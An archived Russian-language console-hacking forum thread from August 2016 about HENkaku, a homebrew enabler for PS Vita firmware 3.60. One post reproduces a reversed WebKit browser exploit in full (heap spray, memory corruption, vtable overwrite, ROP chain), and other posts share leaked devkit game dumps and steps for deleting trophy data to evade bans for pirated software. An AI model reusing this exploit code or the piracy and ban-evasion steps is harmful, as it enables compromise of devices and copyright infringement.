PSPx форум

PSPx форум (https://www.pspx.ru/forum/index.php)
-   Архив (https://www.pspx.ru/forum/forumdisplay.php?f=304)
-   -   [3.60] HENkaku - Homebrew ENabler для PS Vita и PSTV (https://www.pspx.ru/forum/showthread.php?t=106214)

Vlad510 04.08.2016 09:19

Я полностью поддерживаю:riku.kh3!!Поэтому смысл в этих хомках??Т.к лучше-бы реально Виту ломанули-бы чем заниматься запуском хомок ,на Вите!!Т.к ведь в хомки даже ,на ПС3 любой взломанной для пираток можно сыграть!Т.к ведь Вита уже пылится без взлома 6й год у хакеров:(:(:(!

Vlad510 добавил 04.08.2016 в 09:19
Пожалуйстааа,не молчите ,на мой вопросик!

acidant 04.08.2016 13:00

Vlad510 так можно и про авто говорить, нафига вы им колеса прикручиваете, дела ли бы сразу парящими над землей.
Данный хак позволяет в режиме ридонли пощупать кишки системы. дальше-больше. вон sega saturn спустя 20 лет ломанули, 6 лет - ни о чем))

doubledeath 04.08.2016 15:59

Так если отвязать виту от учётки, и сбросить к заводским настройкам, а потом банально не указывать свои учётные данные в консоли... то никто никого не забанит, разве нет?

COOLERbyPSP 04.08.2016 22:29

По эмуляторам SNES:
catsfc_plus_libretro намного быстрее Snes9xVITA.
У последнего просадки в Зельде 10-15фпс иногда. И почти всегда лагающий звук. На первом проблем не вижу от слова вообще.
Ещё б XMB завезти в RetroArch для Виты "из коробки"

akela1979 05.08.2016 01:51

Henkaku exploit - HTML reversed
 
http://pastebin.com/bYA4xGaQ
The reconstructed payload can be find here: payload.bin (2.85 KB)

And an analysis of the payload's binary data can be found here: http://pastebin.com/gxc0cX1i
reversed
Код:

<****** src='payload.js'></******>
 
<******>
var r, a, e, t, n, o, l, i, f, v, s, c;
var u, y, w, p, d, g, h, k, b;
var A, U;
 
var m = 0x40 + payload[16/4];  /* 0x40 bytes for ROP header + 1840 bytes for stack*/
m /= 4;                /* 476 */
 
var _dview = null;
 
/*
    Wrap two uint32s into double precision
*/
function u2d(low, hi)
{
  if (!_dview)
    _dview = new DataView(new ArrayBuffer(16));
 
  _dview.setUint32(0, hi);
  _dview.setUint32(4, low);
  return _dview.getFloat64(0)
}
 
/*
    Unwrap uints from double
*/
function d2u(d)
{
  if (!_dview)
    _dview = new DataView(new ArrayBuffer(16));
 
  _dview.setFloat64(0, d);
  return {low:_dview.getUint32(4),hi:_dview.getUint32(0)}
}
 
// Temporary space to store Element object
var aspace_temp = new Uint32Array(1024);
 
var word1 = 0;
var word2 = 0;
 
function swap(offset)
{
  word1 = aspace32[offset/4];
  word2 = aspace32[offset/4 + 1];
  return((word1 & 0xFFF | (word1 & 0xF0000) >> 4) & 0xFFFF | ((word2 & 0xFFF | (word2 & 0xF0000) >> 4) & 0xFFFF) << 16) >>> 0
}
 
r = 0x4000;
textareas = new Array(r);
aspace_arr = new Array(r);
t = 0x1344;
n = 0x66656463;
o = 0x55555555;
 
 
for (var i = 0; i < aspace_arr.length; ++i)
{
  aspace_arr[i] = new Uint32Array(0x1344/4);
  var e = document.createElement("textarea");
  e.rows = 0x66656463;
  textareas[i] = e;
}
 
/*
  Spray memory with Element objects
*/
for (var i = 0; i < 1024; ++i)
{
  var e = document.createElement("textarea");
  e.rows = 0x66656463;
  textareas.push(e);
}
 
var N = 0x3000;
var W = Array.prototype.constructor.apply(null,new Array(0x3000));
var j = 2048;
var q = new Array(2048);
var z = {};
 
var C = new Array(256);
 
z.toString = function()
            {
              W.push(12345);
 
              for (var r = 0; r < C.length; ++r)
              {
                var a = Array.prototype.constructor.apply(null, q);
                a[0] = 0;
                a[1] = 1;
                a[2] = 2;
                C[r] = a;
              } return""
            };
 
W[0] = z;
var G = u2d(0x80000000, 0x80000000);
 
for (var i = 1; i < 8192; ++i)
  W[i] = G;
 
W.sort();
contents = "";
cur = 0;
 
z.toString = function(){};
 
var I = null;
 
for (var i = 0; i < C.length; ++i)
{
  if(C[i].length != j)
  {
    I = C[i];
    break;
  }
}
 
var count = 0x20000000 - 0x11000;
 
for(; ; count--)
{
  if(I[count] != 0)
  {
    _dview.setFloat64(0, I[J]);
 
    if (_dview.getUint32(0) == t/4)
    {
      _dview.setUint32(0, 0xEFFFFFE0);
   
      I[J] = _dview.getFloat64(0);
      _dview.setFloat64(0, I[J - 2]);
 
      v = _dview.getUint32(4);
      _dview.setUint32(4, 0);
      _dview.setUint32(0, 0x80000000);
   
      I[J-2] = _dview.getFloat64(0);
   
      break;
    }
  }
}
 
target_aspace = null;
 
for (var i = 0; i < aspace_arr.length; ++i)
{
  if(aspace_arr[i].byteLength != t)
  {
    target_aspace = aspace_arr[i];
    break;
  }
}
 
if (!target_aspace)
{
  alert("failed");
  while(1){};
}
 
var aspace32 = target_aspace;
var fkvtable = v;
f = v;
 
/*
  Find one of the sprayed Element objects in memory
  by looking for the rows of the object
*/
 
for (var addr = f/4; addr < f/4 + 0x4000; ++addr)
{
  if (aspace32[addr] == 0x66656463)
  {
    aspace32[addr] = 0x55555555;
    textarea_addr = addr * 4;
    found_element = true;
    break;
  }
}
 
if (!found_element)
{
  alert("Did not find Element signature");
  while(1){};
}
 
/*
  Change the rows of the Element object then scan the array of
  sprayed objects to find an object whose rows have been changed
*/
 
var found_corrupted = false;
var corrupted_textarea;
 
for (var i = 0; i < textareas.length; ++i)
{
  if(textareas[i].rows == 0x55555555)
  {
    corrupted_textarea = textareas[i];
    found_corrupted = true;
    break;
  }
}
 
if (!found_corrupted)
{
  alert("Did not find corrupted textarea");
  while(1){};
}
 
var vtidx = textarea_addr - 0x70;
var textareavptr = aspace32[vtidx/4];
scewkbase = textareavptr - 0xABB65C;
scelibcbase = swap(scewkbase + 0x85F504) - 0xFA49;
scekernbase = swap(scewkbase + 0x85F464) - 0x9031;
p = swap(scewkbase + 0x85D2E4) - 0x22D65;
d = swap(p + 0x2C688C) - 0x9E5;
g = swap(d + 0x3BC4) - 0xDC2D;
scenetbase = swap(scewkbase + 0x85F414) - 0x23ED;
k = swap(g + 0x18BF4) - 0xD59;
b = swap(k + 0x9AB8) - 0x49CD;
 
// Copy vtable
for (var i = 0; i < 64; i++)
  aspace32[fkvtable/4 + i] = aspace32[textareavptr/4 + i];
 
aspace32[vtidx/4] = fkvtable;
 
// Save Element object
for (var i = 0; i < 0x30; ++i)
  aspace_temp[i] = aspace32[vtidx/4 + i];
 
// Call setjmp
aspace32[fkvtable/4 + 0x4E] = scelibcbase + 0x14070|1;
 
// Undefine scrollLeft
corrupted_textarea.scrollLeft = 0;
 
// Save payload address (jmp context)
payload_addr = (aspace32[vtidx/4 + 8] ^ (aspace32[vtidx/4 + 9] ^ u + 0x317929) >>> 0) >>> 0;
payload_addr -= 0xEF818;
 
// Restore Element object
for (var i = 0; i < 0x30; ++i)
  aspace32[vtidx/4 + i] = aspace_temp[i];
 
payload_stack = payload_addr + 0x40;
payload_code = payload_addr + 0x10000;
payload_off = payload_addr/4;
 
// Build ROP payload
for (var i = 0; i < payload.length; ++i,++payload_off)
{
  // Reached the end of ROP header (first 0x770 bytes)
  if (i == 476)
    payload_off = payload_code/4;
 
  switch(relocs[i])
  {
    case 0:
      aspace32[payload_off] = payload[i];
      break;
    case 1:
      aspace32[payload_off] = payload[i] + payload_stack;
      break;
    case 2:
      aspace32[payload_off] = payload[i] + scewkbase;
      break;
    case 3:
      aspace32[payload_off] = payload[i] + scekernbase;
      break;
    case 4:
      aspace32[payload_off] = payload[i] + scelibcbase;
      break;
    case 5:
      aspace32[payload_off] = payload[i] + g;
      break;
    case 6:
      aspace32[payload_off] = payload[i] + scenetbase;
      break;
    case 7:
      aspace32[payload_off] = payload[i] + b;
      break;
    default:
      alert("wtf?");
      alert(i + " " + relocs[i])
  }
}
 
// Trigger ROPchain
aspace32[fkvtable/4 + 0x4E] = scewkbase + 0x54C8;  /* LDM R1 gadget */
 
var rchainaddr = fkvtable + 0x100;
 
aspace32[rchainaddr/4 + 5] = payload_code;
aspace32[rchainaddr/4 + 6] = scewkbase + 0xC048A|1;
 
alert("Welcome to HENkaku!");
 
// Set scrollLeft to ROP chain
corrupted_textarea.scrollLeft = rchainaddr;
 
alert("that's it");
</******>


COOLERbyPSP 05.08.2016 17:29

Эмулятор NDS теперь умеет выбирать ромы и поддерживает JIT
https://github.com/masterfeizz/DeSmuME-Vita/releases

Mishanstvo 08.08.2016 18:26

http://www.mediafire.com/download/75...ita+backup.vpk
Adventure time psvita, never released game (dumped from devkit)
Install from Vitashell 0.7

trophies work, enjoy the ban

-- hf

riku.kh3 08.08.2016 20:54

Цитата:

Сообщение от Mishanstvo (Сообщение 1104268)
http://www.mediafire.com/download/75...ita+backup.vpk
Adventure time psvita, never released game (dumped from devkit)
Install from Vitashell 0.7

trophies work, enjoy the ban

-- hf

Ну вот, EBOOT и PRX-модули в незакриптованном FSELF формате. То, что доктор прописал.
Может мотивирует кого-нибудь покопать в сторону декриптовки подписанного контента.

SILENT-Pavel 09.08.2016 03:49

Цитата:

Сообщение от Derrik_Gotu (Сообщение 1104125)
инструкция по установке -> http://signedisos.narod.ru/forum/24-45-1

Установили кто-то уже анч вроде, который слитый с sdk
Нажмите для увеличения

И как работает или только висит плейсхолдером и черноэкранит?

riku.kh3 10.08.2016 19:54

Попробовал пересобрать ваш "uncharted" под HENkaku, проверьте :P
http://rgho.st/6ghyyV7Vr

vampula 11.08.2016 16:34

Доступны инструменты для устоновки henkaku в оффлайне с виты. И по взлому: Henkaku команда говорила, что отдаст исходники раскодировавшим полностью их эксплоит. Как они утверждают, на эту раскодировку уйдет минимум несколько месяцев. И это только раскодировка, про взлом drm вообще наверно забыть можно на несколько лет. Кароче, ставим все 3.60 с оффлайн хенкаку и кладём виту еще на неопределённый срок на полку.

lupus 11.08.2016 18:00

riku.kh3, отличный анч на 2 метра 🙃

Сдампил и разобрал картриджную версию Gravity Rush, теперь бы попробовать собрать назад и подсунуть в виде патча. Если заведётся - можно разбирать формат хранения текста и переводить на русский...

Mishanstvo 11.08.2016 19:11

lupus, очень жду перевода) на 4pda есть ветка с уже готовым переводом.

Cepera 11.08.2016 23:46

В этом HENkaku спрятан ядреный эксплойт чтоль?

Cepera добавил 11.08.2016 в 23:46
Время приключений работает, анчартед - нет, ошибка C1-2613-2

vampula 12.08.2016 01:02

Cepera, станет понятно после полного разбора кода. По слухам - да, возможно таки карнел.

Mishanstvo 12.08.2016 09:39

vampula, а можно ссылку где ведутся эти работы?

vampula 12.08.2016 11:48

Mishanstvo, вот ссылка на личный сайт разраба henkaku: http://yifan.lu/2016/08/05/henkaku-koth-challenge/ (заходить через анонимайзер), в комментах к статье последней есть посты декодеров с их прогрессами.
Также можно следить за твиттером разраба: https://mobile.twitter.com/yifanlu?p=i

lupus 12.08.2016 11:59

Пошаговый мануал по удалению трофеев игры Adventure Time во избежание бана за установку вареза.
1. Запускаем molecularshell или vitashell 0.7
2. Удаляем с консоли следующие папки:
ur0:user/00/trophy/conf/NPWR07969_00
ur0:user/00/trophy/data/NPWR07969_00
ur0:user/00/trophy/data/sce_trop
3. Выходим в livearea и запускаем системное приложение "Призы"
4. Видим сообщение о восстановлении информации о трофеях и ждём окончания процесса
5. Все трофеи, за исключение полученных в Adventure Time будут восстановлены.

Надо бы написать автору History deleter'а, чтобы добавил данную опцию в софтинку или самому попробовать поковырять его сырцы.

Mishanstvo 12.08.2016 16:44

А почему только 333 и 444 Мгц? Почему нельзя работать на других частотах? Если будет полный взлом, будет доступ ко всему процессору?

COOLERbyPSP 12.08.2016 22:54

Цитата:

Сообщение от Mishanstvo (Сообщение 1104338)
Если будет полный взлом, будет доступ ко всему процессору?

Вполне возможно. Особо радоваться, впрочем, тоже не стоит, ибо это грозит повышением энергопотребления и тепловыделения.
Ладно ещё PS TV можно разобрать и радиатор поставить, а вот с обычной версией, скорее всего, ничего не сделать.


Текущее время: 00:38. Часовой пояс GMT +3.

Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2024, vBulletin Solutions, Inc. Перевод: zCarot
PSPx Forum - Сообщество фанатов игровых консолей.